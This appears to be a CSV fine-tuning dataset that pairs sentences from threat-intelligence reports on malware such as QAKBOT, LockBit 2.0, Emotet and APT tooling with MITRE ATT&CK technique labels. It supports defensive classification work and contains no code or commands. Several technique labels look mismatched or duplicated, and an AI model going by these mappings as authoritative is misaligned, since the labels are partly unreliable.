"With the amount of overlap between the other components in these separate campaigns, we decided to compare the Pirpi payloads delivered by the UPS group using CVE-2014-1776 and CVE-2015-3113. From here on, we will refer to these two payloads as Pirpi.2014 (CVE-2014-1776) and Pirpi.2015 (CVE-2015-3113), whose details are listed in Table 1. Unit 42 discovered several similarities between the two Pirpi variants, as well as a few equally important differences, both of which are worth discussing. We also compared the Pirpi.2014 and Pirpi.2015 payloads to other known Pirpi samples in an attempt to determine which variant they most closely resemble.",['T1588.006 - Vulnerabilities'],fine_tune
Next we compared the codebase for setting registry keys. The code reuse displayed in Figure 4 is the sequence that sets the IEHarden registry keys and other keys used throughout TidePool and Operation Ke3chang malware.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry']",fine_tune
"Another infamous banker Trojan, Kronos, caught up with Edge in 2016. We checked out its capabilities on a Windows 10 virtual machine. In the code of the new Kronos version we found a function that checks the name and checksum of a process, as well as the hashes of the functions hooked by the malware.",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
"CARROTBALL, initially discovered in an attack during October 2019, is a simple FTP downloader utility which facilitates the installation of SYSCON, a full-featured Remote Access Trojan (RAT) which leverages FTP for Command and Control (C2). It was found embedded in a malicious Word document sent as a phishing lure to a US government agency and two non-US foreign nationals professionally associated with North Korea.","['T1059 - Command and Scripting Interpreter', 'T1566 - Phishing']",fine_tune
"The success of the Dropping Elephant group is striking given that no zero-day exploits or advanced techniques were used to target high-profile victims – it’s clear that by applying security updates and improving the security awareness of staff, the success of attacks like this can be prevented. At the start of the year we predicted that APT groups would invest less effort in developing sophisticated tools and make greater use of off-the-shelf malware. Dropping Elephant provides a further example of how low investment and use of ready-made toolsets can be very effective when combined with high quality social engineering.",['T1587.001 - Malware'],fine_tune
"In my previous blog, I noted that a variant of the Cerber downloader was seen using BITS for a brief period of time and 10 out of these 11 samples were Microsoft Word documents leading to Cerber.",['T1197 - BITS Jobs'],fine_tune
"In early 2015, a new Emotet modification was released, not all that different from the previous one. Among the changes were: new built-in public RSA key, most strings encrypted, ATS scripts for web injection cleared of comments, targets included clients of Swiss banks.",['T1592.004 - Client Configurations'],fine_tune
"A C&C address (103.82.52[.]18) which was found in one of MosaicRegressor’s variants (MD5:3B58E122D9E17121416B146DAAB4DB9D) was observed in use by the ‘Winnti umbrella and linked groups’, according to a publicly available report. Since this is the only link between our findings and any of the groups using the Winnti backdoor, we estimate with low confidence that it is indeed responsible for the attacks.",['T1587.001 - Malware'],fine_tune
"Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file. The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at “%temp%\Save.tmp”. The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain:",['T1554 - Compromise Host Software Binary'],fine_tune
"AveMaria is a new botnet, whose first version we found in September 2018, right after the arrests of the FIN7 members. We have medium confidence that this botnet falls under the FIN7 umbrella. In fact, AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers, email clients, messengers, etc., and can act as a keylogger. Since the beginning of 2019, we have collected more than 1300 samples and extracted more than 130 C2s.","['T1114 - Email Collection', 'T1587.001 - Malware']",fine_tune
". . MuddyWater has conducted various campaigns against entities spread throughout the U.S.A, Europe, Middle East and South Asia.. . A typical TTP employed by the group is the heavy use of scripting in their infection chains using languages like PowerShell and Visual Basic coupled with the frequent use of living-of-the-land binaries (LoLBins).. . Cisco Talos recently observed a campaign operated by MuddyWater targeting users in Turkey. This campaign consists of the use of malicious PDFs and Microsoft Office documents (maldocs) to serve as the initial infection vector. These maldocs were named in such a way as to masquerade as legitimate documents from the Turkish Health and Interior Ministries.. . Next, the malware executes a series of scripts deployed on the infected endpoint to serve as downloaders and instrumentors for additional payloads.. . We've also discovered the use of flags or tokens in attacks conducted by this threat actor in this campaign. These tokens are meant to signal a successful infection of a target by the group's malicious artifacts.. . . . ",['T1203 - Exploitation for Client Execution'],fine_tune
"Pony is a popular downloader program that can download additional malware onto the infected system. It is also equipped with a number of plugins that may be used to steal stored credentials for various applications such as FTP clients, web browsers, email clients, and other software. Pony is also commonly known as Fareit.","['T1539 - Steal Web Session Cookie', 'T1555 - Credentials from Password Stores']",fine_tune
"In recent years, malware delivery mechanisms have changed from fixed media (diskettes) to email (e.g. the infamous LoveLetter email worm) and direct network attacks (e.g. CodeRed). The most recent step in the evolution process is a move to delivering malware via the world wide web.",['T1102 - Web Service'],fine_tune
"We determined the string in the pre tags is the actor provided password, which the webshell uses as a key to decrypt the embedded payload. We determined this by following the process in which the TwoFace++ loader webshell uses the actor provided password to authenticate and decrypt the embedded webshell:",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
"We found a Coinminer bundled with the legitimate installer of video conferencing app Zoom, luring users who want to install the software but end up unwittingly downloading a malicious file. The compromised files are not from Zoom’s official download center, and are assumed to come from fraudulent websites. We have been working with Zoom to ensure that they are able to communicate this to their users appropriately.","['T1588.001 - Malware', 'T1554 - Compromise Host Software Binary', 'T1195.002 - Compromise Software Supply Chain', 'T1574.005 - Executable Installer File Permissions Weakness']",fine_tune
"In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group, APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services. APT41 is known to adapt quickly to changes and detections within victim environments, often recompiling malware within hours of incident responder activity. In multiple situations, we also identified APT41 utilizing recently-disclosed vulnerabilities, often weaponzing and exploiting within a matter of days.","['T1595.002 - Vulnerability Scanning', 'T1046 - Network Service Discovery']",fine_tune
"Most modifications of Trojan.Win32.Waldek are distributed via removable media and include functionality to collect information on infected systems and send it to the attackers. Based on the system data collected, the attackers create packages of additional malware to be installed on the infected system using the relevant Waldek functionality.","['T1025 - Data from Removable Media', 'T1543 - Create or Modify System Process', 'T1005 - Data from Local System', 'T1091 - Replication Through Removable Media']",fine_tune
After decoding and decrypting with the XOR key “DARKMATTER” it gets the real C&C URL ‘banhamm.com‘.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"LockBit 2.0 is known for its extortion tactics, encrypting devices and demanding a ransom","['T1486 - Data Encrypted for Impact', 'T1588.001 - Malware']",fine_tune
Vidar can also receive settings from the C&C that tells it exactly what to do.,['T1588.001 - Malware'],fine_tune
"LockBit 2.0 enumerates system information such as hostname, shares, and domain information",['T1082 - System Information Discovery'],fine_tune
"Once deployed, Prestige ransomware payloads will drop ransom notes named """"README.txt"""" in the root directory of each drive it encrypts.",['T1486 - Data Encrypted for Impact'],fine_tune
"The threat actor used RDP on Active Directory using leaked accounts. The actor dropped scanning tools, Nmap.exe and Nping.exe, for scanning the network. Next, the scheduled task was pushed by the group policy domain machine.","['T1484 - Domain or Tenant Policy Modification', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
An attacker sends an e-mail with a malicious Tar archive attached.,"['T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment']",fine_tune
QAKBOT can use VBS to download and execute malicious files,['T1588.001 - Malware'],fine_tune
"The PHP malware achieves persistence by adding scheduled tasks on the host to execute daily and at regular intervals. At the same time, a generated TMP file runs a parallel process to launch the stealer component.","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
Uses PowerShell to retrieve the malicious payload and download additional resources such as Mimikatz and Rclone.,"['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1588.002 - Tool']",fine_tune
"The observed attack technique (OAT) detection indicates that the php-cgi process represents a “/bin/bash” shell”and is directly reading “passwd”, suggesting that the server might have been compromised",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Uses BITSAdmin to download and install payloads.,['T1588.002 - Tool'],fine_tune
"Sideloading happens after the steps described earlier — the threat actor successfully exploited Log4j and downloaded mfeann.exe, LockDown.DLL, and c0000012.log.",['T1203 - Exploitation for Client Execution'],fine_tune
"This new version of SolidBit ransomware is a .NET compiled binary (Figure 7). After opening Runtime64.exe using the debugger and .NET assembly editor DnSpy, we found that this file was obfuscated",['T1027 - Obfuscated Files or Information'],fine_tune
LockBit 2.0 has been seen using the PowerShell module InvokeGPUpdate to update the group policy.,"['T1484.001 - Domain Policy Modification: Group Policy Modification', 'T1484.001 - Domain Policy Modification: Group Policy Modification']",fine_tune
"Scheduled Task. It was quite common to see scheduled tasks used to create persistence for the ransomware executable, PsExec, and occasionally some defense evasion batch scripts.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Uses the chmod +x command to grant executable permissions to the ransomware.,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"Notably, one of the tools used in the attack exploited the CVE 2021 21551 vulnerability in a Dell driver in what was the first recorded abuse of this security flaw.","['T1211 - Exploitation for Defense Evasion', 'T1190 - Exploit Public-Facing Application', 'T1588.006 - Vulnerabilities']",fine_tune
"The ransomware payload is copied to the ADMIN$ share of a remote system, and Impacket is used to remotely create a Windows Scheduled Task on target systems to execute the payload","['T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
QAKBOT can maintain persistence by creating an auto-run Registry key,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1587.001 - Malware']",fine_tune
Ducktail has now replaced the older NET Core information-stealing malware used in previous campaigns with one written in PHP.,['T1587.001 - Malware'],fine_tune
"The ProxyShell elevation of privilege on the Exchange PowerShell Backend (CVE-2021-34523), Windows Background Intelligent Transfer Service (BITS) improperly handling symbolic links (CVE-2020-0787), and abusing the CMSTPLUA COM interface have all been seen as methods of privilege escalation.",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Deletes some of its files used during operations as part of cleanup, including removing applications such as 7z.exe, tor.exe, ssh.exe",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Interestingly, the actors chose to leverage Cobalt Strike for lateral movement. The first of several beacon files are dropped onto the same infected endpoint running Brute Ratel C4, with the first being:","['T1588.002 - Tool', 'T1588.001 - Malware']",fine_tune
QAKBOT has gained execution through users opening malicious attachments,['T1204 - User Execution'],fine_tune
"The malware will ultimately be extracted to the %LocalAppData%\Packages\PXT folder, which includes the PHP.exe local interpreter, various scripts used to steal information, and supporting tools, as shown below.","['T1059 - Command and Scripting Interpreter', 'T1588.001 - Malware']",fine_tune
Amavis analyzes the e-mail attachments and inspects the contents of the attached archive. It invokes cpio and CVE-2015-1197 is triggered.,"['T1566.001 - Phishing: Spearphishing Attachment', 'T1546 - Event Triggered Execution', 'T1588.006 - Vulnerabilities']",fine_tune
LockBit 2.0 has utilized a UAC bypass tool.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"In some cases, LockBit 2.0 will limit the data transfer sizes to fly under the radar of any monitoring services a client may have set up.","['T1030 - Data Transfer Size Limits', 'T1030 - Data Transfer Size Limits']",fine_tune
"The vulnerability tracked as CVE-2022-41352 is a remote code execution flaw that allows attackers to send an email with a malicious archive attachment that plants a web shell in the ZCS server while, at the same time, bypassing antivirus checks.","['T1505.003 - Server Software Component: Web Shell', 'T1566.001 - Phishing: Spearphishing Attachment']",fine_tune
Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services,['T1569.002 - System Services: Service Execution'],fine_tune
"When neither of the previous commands are received, the message is taken as a command to be executed with cmd.exe. The output is sent to the server.","['T1059 - Command and Scripting Interpreter', 'T1202 - Indirect Command Execution']",fine_tune
Both Advanced Port Scanner and NetScan have been used to discover local network infrastructure devices and services running on remote hosts. Active Directory queries for remote systems have been performed by ADFind.,"['T1046 - Network Service Discovery', 'T1046 - Network Service Discovery']",fine_tune
QAKBOT has spread through emails with newly created malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Racealer (aka RaccoonStealer) is known to be a stealer-type malware that mostly extracts user credentials and exfiltrates data from compromised machines.,"['T1552.001 - Unsecured Credentials: Credentials In Files', 'T1588.001 - Malware', 'T1020 - Automated Exfiltration']",fine_tune
"REvil reached its pinnacle of success in the first half of 2021, compromising thousands of companies in a Kaseya MSP supply-chain attack, demanding a $50 million payment from computer maker Acer, and extorting Apple using stolen blueprints of non-yet-released devices.","['T1588.001 - Malware', 'T1189 - Drive-by Compromise']",fine_tune
Executive: looks for a file with commands and executes them with cmd.exe. The output is saved to a file.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Uses Rundll32 to load and execute malicious DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
QAKBOT abuses Wscript to execute a Jscript file.,"['T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1587.001 - Malware']",fine_tune
"QAKBOT uses obfuscation across two script files, a JavaScript (.js) file and a Batch Script (.cmd) file, likely in an effort to conceal suspicious-looking command lines. ","['T1059 - Command and Scripting Interpreter', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1027 - Obfuscated Files or Information']",fine_tune
"Just six minutes after the initial C&C communication, and with the QAKBOT malware now running inside an injected process (wermgr.exe), automated reconnaissance in the infected environment is performed via the execution of multiple built-in command line tools",['T1055 - Process Injection'],fine_tune
Initial QAKBOT .zip file bypasses some antivirus detections due to password protections.,"['T1140 - Deobfuscate/Decode Files or Information', 'T1588.001 - Malware']",fine_tune
Cobalt Strike can use rundll32.exe to load DLL from the command line,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"In rare cases, LockBit 2.0 has been observed to create accounts for persistence with simple names, such as “a.”",['T1136.001 - Create Account: Local Account'],fine_tune
Vulnerabilities such as ProxyShell (CVE-2021-34473) and improper SQL sanitization (CVE-2021-20028) have been observed being utilized as footholds into the environment.,"['T1588.006 - Vulnerabilities', 'T1190 - Exploit Public-Facing Application']",fine_tune
LockBit 2.0 is typically executed via command line arguments via a hidden window.Windows SysInternals PsExec has been utilized for both persistence and execution purposes. Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities. ,['T1059 - Command and Scripting Interpreter'],fine_tune
"As seen with other ransomware cases, Mimikatz is a key player in dumping credentials but LockBit 2.0 has been occasionally seen utilizing MiniDump as well.","['T1003 - OS Credential Dumping', 'T1003 - OS Credential Dumping']",fine_tune
QAKBOT can inject itself into processes like wermgr.exe,['T1055 - Process Injection'],fine_tune
LockBit 2.0 has been known to self-propagate via SMB.,"['T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1021.002 - Remote Services: SMB/Windows Admin Shares']",fine_tune
Scheduled Task. LockBit 2.0 can be executed via scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"There is a command ftpversion that uploads the version of the backdoor (hardcoded) to a file `ver.txt` on the FTP server, in the root folder for the target.","['T1059 - Command and Scripting Interpreter', 'T1105 - Ingress Tool Transfer']",fine_tune
"In early February 2022, we witnessed an intrusion employing Gootloader (aka GootKit) as the initial access vector. The intrusion lasted two days and comprised discovery, persistence, lateral movement, collection, defense evasion, credential access and command and control activity. During the post-exploitation phase, the threat actors used RDP, WMI, Mimikatz, Lazagne,… .",['T1588.001 - Malware'],fine_tune
"2. The perpetrators distributed PlugX messages to employees- personal addresses, claiming to come from fellow members of staff. The letters contained photos of alleged senders. Along with the photos, all the information about personal mailboxes could have been collected during the group-s initial presence on corporate workstations.","['T1114 - Email Collection', 'T1598 - Phishing for Information']",fine_tune
Androrat is an open source remote management tool developed by a team of four for a university project. Open source code was upload to the GitHub website in 2012. It is a remote management tool that allows remote control of mobile devices using a computer.,['T1588.001 - Malware'],fine_tune
"Office documents, databases, archives, and multimedia files are the usual file types targeted by ransomware. It’s the same for this version of Erebus, which encrypts 433 file types. However, the ransomware appears to be coded mainly for targeting and encrypting web servers and data stored in them.",['T1486 - Data Encrypted for Impact'],fine_tune
"In the initial phases, the Sunburst malware talks to the C&C server by sending encoded DNS requests. These requests contain information about the infected computer; if the attackers deem it interesting enough, the DNS response includes a CNAME record pointing to a second level C&C server.",['T1583.002 - DNS Server'],fine_tune
"A few minutes after the initial execution, BazarLoader ran some discovery tasks using the built in Microsoft net and nltest utilities and transferred the results over the C2 channel.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"When executed, the final macro code as interpreted by CMD decodes into a classic PowerShell download cradle that fetches the initial QakBot payload. There is one last bit of obfuscation here as the script does contain two more encoded strings. One is the URL as seen above in Figure 8, and another is the full path to which the payload will initially be written: “C:\Users\Public\tmpdir\file”. ","['T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
. The attackers have also used file names and export API names in the CRAT DLLs to masquerade the RAT as a benign application's library. Some examples of the exported function names are:. ,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Samples associated with either RedAlpha campaign remain quite rare, with less than 20 samples identified across the two campaigns. Custom samples are coded in C++. The 2018 dropper relied on a rare C++ cross-platform framework called Haxe to string together pieces of publicly available source code largely found in Chinese-language forums and blogs.",['T1587.001 - Malware'],fine_tune
"Through manual reverse engineering, we were able to extract the main malicious Python modules from the Xbash executables and decompile them successfully. Therefore, in the later sections of this analysis, we show the Python source code.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"The sample was first uploaded to VT on the 2018-10-12 from the Ukraine. It exhibits an encoding and a code style that are similar to those used by former series of Hades droppers. Nevertheless, it introduces new features like anti-analysis and delayed execution, which were only used by the second stage payload in the past.",['T1587.001 - Malware'],fine_tune
"This resembled the server-side ASPX payload of the China Chopper webshell documented previously. Uploads to VirusTotal in late August 2018 resembling the same filename, iisstart.aspx, indicate the deployed webshell was likely a version of the China Chopper webshell known to have been used by several Chinese threat actors.",['T1588.001 - Malware'],fine_tune
"If we look historically, BelialDemon has been involved in the development of malware loaders. BelialDemon is considered the primary developer of TriumphLoader, a loader previously posted about on several forums, and has experience with selling this type of malware.",['T1588.001 - Malware'],fine_tune
"FireEye’s blog, “Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims with SUNBURST Backdoor,” contains a wealth of useful information, all of which has been analyzed by Unit 42 researchers to help ensure Palo Alto Networks customers are protected.",['T1195 - Supply Chain Compromise'],fine_tune
"Towards the end of July, we observed an intrusion that began with IcedID malware and ended in XingLocker ransomware, a Mountlocker variant. XingLocker made its first appearance in early May of this year. The new group was featured in the AstroLocker ransomware blog, and it has been very active since then.",['T1588.001 - Malware'],fine_tune
XLoader sets up an auto start by creating a new file with a random name in the LaunchAgents folder of the current user:,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam.. In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted. . In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam.. From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the target of APT32 intrusion operations.",['T1587.001 - Malware'],fine_tune
"SPLM, otherwise known as CHOPSTICK, or by the author(s) as “XAgent”, is described as Sofacy’s signature second stage tool, selectively used for years against around the world. Really, many modified XAgent modules have been deployed over the years. Even the individual Linux modules renamed as “Fysbis” backdoors released in 2016 were merely modified and reduced portions of recompiled XAgent C/C++ codebase. Anyway, SPLM/CHOPSTICK has maintained various combinations of code, with some recognizable functionality listed here.",['T1587.001 - Malware'],fine_tune
The first versions of these new USB stealer modules appeared around February 2015 and the latest appear to have been compiled in May 2015. Older versions of these USBSTEALER modules were previously described by our colleagues from ESET.,['T1587.001 - Malware'],fine_tune
"SpyNote is similar to Droidjack and is also a commercial RAT. It is powerful and provides convenient management tools.. At present, the price of different versions on the official websited is $499 and $4000 respectively.",['T1588.001 - Malware'],fine_tune
"While investigating some malicious activity in Central Asia, we identified a new backdoor, named Tunnus, which we attribute to Turla. This is.NET-based malware with the ability to run commands or perform file actions on an infected system and send the results to its C2. So far, the threat actor has built its C2 infrastructure with vulnerable WordPress installations.",['T1587.001 - Malware'],fine_tune
". . Once the second stage is extracted and run, we are presented with the final stage of this attack, which we refer to as ComboJack. Once ComboJack is extracted it begins by copying itself to the following location:",['T1587.001 - Malware'],fine_tune
"In order to “steal” cryptocurrency from a victim, WeSteal uses regular expressions to look for strings matching the patterns of Bitcoin and Ethereum wallet identifiers being copied to the clipboard. When it matches these, it replaces the copied wallet ID in the clipboard with one supplied by the malware. The victim then pastes the substituted wallet ID for a transaction, and the funds are sent instead to the substitute wallet.",['T1115 - Clipboard Data'],fine_tune
"Spora ransomware, which began circulating in January of this year, is a ransomware noted for its sophistication, including top-notch customer support to victims, and was likely created by professional malicious actors.",['T1588.001 - Malware'],fine_tune
"Earlier in the year, as part of an incident response investigation, we uncovered a new version of the Skimer ATM malware. The malware, which first surfaced in 2009, has been re-designed. So too have the tactics of the cybercriminals using it. The new ATM infector has been targeting ATMs around the world, including the UAE, France, the United States, Russia, Macau, China, the Philippines, Spain, Germany, Georgia, Poland, Brazil and the Czech Republic.",['T1587.001 - Malware'],fine_tune
"FormBook authors did some rewrites on the original exploit, taking as their initial codebase the one that we and Microsoft observed as deploying Cobalt Strike beacons.  The exploited vulnerability is CVE-2021-40444. However, since the vulnerability itself has been analyzed already, here we focus on describing some of the unique changes made by FormBook.",['T1203 - Exploitation for Client Execution'],fine_tune
"The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant. The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections. It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality.",['T1587.001 - Malware'],fine_tune
"Elknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[4]。. . Now we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2 .",['T1584.005 - Botnet'],fine_tune
"Janicab’s features also remind us of Powersing’s: the sample contains VM detection based on the MAC address of the machine, looks for malware analysis programs and has familiar antivirus software evasion routines. Janicab also periodically sends screenshot captures of the victim’s desktop to the C&C and appears to enable the execution of arbitrary Python scripts.","['T1113 - Screen Capture', 'T1497 - Virtualization/Sandbox Evasion', 'T1059.006 - Command and Scripting Interpreter: Python']",fine_tune
"Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to intercept data required to work with several Lebanese banks – for instance, Bank of Beirut, Byblos Bank, and Fransabank.","['T1114 - Email Collection', 'T1082 - System Information Discovery']",fine_tune
"GandCrab 2 is far from a merely repackaged GandCrab 1. It contains fixes for several flaws in the original, including one critical encryption flaw that would have trivially allowed a universal decryptor (more on this below).",['T1587.001 - Malware'],fine_tune
"The main loader and privilege escalation tool, “autorun.exe” fires up a special dropper, which is actually an Equation Group DoubleFantasy implant installer. The installer is stored as “show.dll” in the “Presentation” folder of the CDROM.",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Unlike the original geacon, Blackrota uses gobfuscate to obfuscate the. source code before compiling. gobfuscate is an open-source tool for Go code. obfuscation, which can obfuscate the following elements of Go source code. with random character substitutions:",['T1001 - Data Obfuscation'],fine_tune
"As the Top Twenty shows, DNSChanger is also widespread. There is actually a connection between Zlob and DNSChanger – we believe they were created by the same gang. Although DNSChanger underwent many changes during its lifespan, basically what it does is simply change the DNS servers from the user’s computer to a set of two specific IP addresses. The IP addresses are selected from a huge pool and the variation comes in distributing thousand of different DNSChanger binaries, each one setting the DNS servers to distinct IP addresses. While changing the DNS servers may not be regarded as something seriously malicious, an attacker who achieves this can actually do a lot of harm – for instance, redirecting websites such as Amazon.com or Bank Of America to phishing installations almost entirely without any sign of warning to the user. To complicate removal, the most recent DNSChangers include rootkit components and even download additional malware.",['T1014 - Rootkit'],fine_tune
"The group’s arsenal at that point included multiple Trojans and tools for Windows and macOS. In 2015, the actors started to expand their espionage efforts from PCs to mobile devices using the spyware called MobileOrder, which focused on compromising Android devices. Based on the code similarity, shared infrastructure and victimology, we conclude that the new wave of attacks belongs to the same threat actor and that the group continues to deploy and develop MobileOrder malware until this day. In addition to clear code overlaps, we observed multiple overlaps in the infrastructure between the new samples and the old MobileOrder malware variant, as well as multiple variants of Windows Psylo Trojan previously attributed to Scarlet Mimic, that interact with the same malicious domains as the mobile malware.",['T1587.001 - Malware'],fine_tune
"The downloader’s process termination starts with killing the DDG Monero miner botnet client if present on the system, followed by a variety of other cryptominers, including other XMRig instances. This behavior is indicative of attempting to secure more host resources from competing miners. The malware also targets services belonging to Qihoo 360, an antivirus service, in order to reduce the chance of detection. However, taskkill is unable to to kill process related to Qihoo 360. Figure 5 shows the processes that the script attempts to terminate.","['T1057 - Process Discovery', 'T1518.001 - Software Discovery: Security Software Discovery']",fine_tune
The NOKKI payload is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svstartup registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"In 2018 Intezer covered Foudre version 8, which contained a certain sample labeled unknown binary that was not explored in Intezer’s research. In fact, this was a new component — called Tonnerre — which was a new step in the evolution of Infy, and contained various functionality absent from Foudre alone.",['T1587.001 - Malware'],fine_tune
"The BazarLoader ISO downloaded from the OneDrive link, consists of a malicious DLL and shortcut file named “Documents.lnk” which executes the DLL via rundll32.exe.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"The last type of shellcode is a Cobalt Strike stager. We have confirmed the use of several different Cobalt Strike stager shellcodes since October 2019. In addition, some of the observed Cobalt Strike stager samples included a setting in the HTTP header of their malicious communications to disguise them as common jQuery request in order to evade detection by security products.",['T1588.001 - Malware'],fine_tune
"FIN13 rolled many of these reconnaissance efforts into scripts to automate their processes. For example, they used pi.bat to iterate through a list of IP addresses in a file, execute a ping command and write the output to a file (Figure 6). A similar script used dnscmd to export a host’s DNS zones to a file.","['T1595.001 - Scanning IP Blocks', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
The executable dispci.exe appears to be derived from the code base of the legitimate utility DiskCryptor. It acts as the disk encryption module which also installs the modified bootloader and prevents the normal boot-up process of the infected machine.,['T1561.002 - Disk Structure Wipe'],fine_tune
"After the botnets of direct ZeuS successors were taken down, Dridex’s time came. This malware is a result of Bugat evolution (which appeared in 2010). Bugat v5 was recognized as Dridex in 2014.",['T1587.001 - Malware'],fine_tune
"The injected wermgr.exe process then creates a new folder in the user’s AppData directory. As typically seen in Trickbot infections, it drops a copy of itself into this folder along with its encrypted config (settings.ini) and a batch file (launcher.bat). ",['T1055 - Process Injection'],fine_tune
"A sample of the data that is encrypted and sent to the CnC server for version ‘p=2’ is seen in the memory dump shown in Figure 6. At offset 4-7 it contains a time-based counter. It uses the keyword ""osamu"" in this instance to identify this particular campaign. The campaign keywords are not sent out in version ‘p=1’ but can still be found hardcoded in the DLL payload. The hostname and OS information are also included in the beacon. It awaits further commands from the CnC server in response to the data sent out.",['T1082 - System Information Discovery'],fine_tune
"The dropper extracts the communications and wiper components from resources named “PKCS7” and “PKCS12” respectively, while the x86 sample extracts the x64 variant of Disttrack from a resource named “X509”. To extract the components, the dropper is configured to seek specific offsets within the resource, read a specified number of bytes and decrypt the contents using a specified key. The key exists in the sample as a base64 encoded string that the dropper will decode then use each byte of the resulting string to XOR the data obtained from the resource. When determining the location of the ciphertext within the resource, the dropper subtracts 14 from the offset value in the sample’s configuration as an additional layer of obfuscation. Table 1 shows the resources within the Disttrack x86 sample, the component it contains and the values needed to decrypt its contents.",['T1132 - Data Encoding'],fine_tune
It appears Russian cyber criminals were equally perplexed by the WCry campaign as the rest of the world. One of the members of the popular underground community complained about the recently purchased Virtual Private Server (VPS) which was almost immediately infected by ransomware even before the system update was completed.,['T1584.003 - Virtual Private Server'],fine_tune
"Cutwail spam levels in the last three months have been significantly lower. The introduction of steganography may suggest that NARWHAL SPIDER has been developing new, innovative methods to evade detection and improve infection rates. Although not commonly used by eCrime actors, steganography has been used for malware delivery in the past, such as the Lurk Downloader and StegoLoader.","['T1027.003 - Steganography', 'T1001.002 - Data Obfuscation via Steganography']",fine_tune
"BokBot achieves malicious payload execution by abusing a renamed copy of the legitimate WMIC utility, which will execute a XSL script file. The entire process is outlined below.",['T1220 - XSL Script Processing'],fine_tune
"A modified EternalBlue exploit, also used by WannaCry.. The EternalRomance exploit – a remote code execution exploit targeting Windows XP to Windows 2008 systems over TCP port 445 (Note: patched with MS17-010).. An attack against the update mechanism of a third-party Ukrainian software product called MeDoc.",['T1203 - Exploitation for Client Execution'],fine_tune
"The malicious library completes malware installation. Specifically, it creates a registry value responsible for automatically running RMS at system startup. Notably, in most cases of this campaign the registry value is placed in the RunOnce key, instead of the Run key, enabling the malware to run automatically only the next time the system starts up. After that, the malware needs to create the registry value again.","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).",['T1587.001 - Malware'],fine_tune
"Last March, we reported a WildPressure campaign targeting industrial-related entities in the Middle East. While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.",['T1587.001 - Malware'],fine_tune
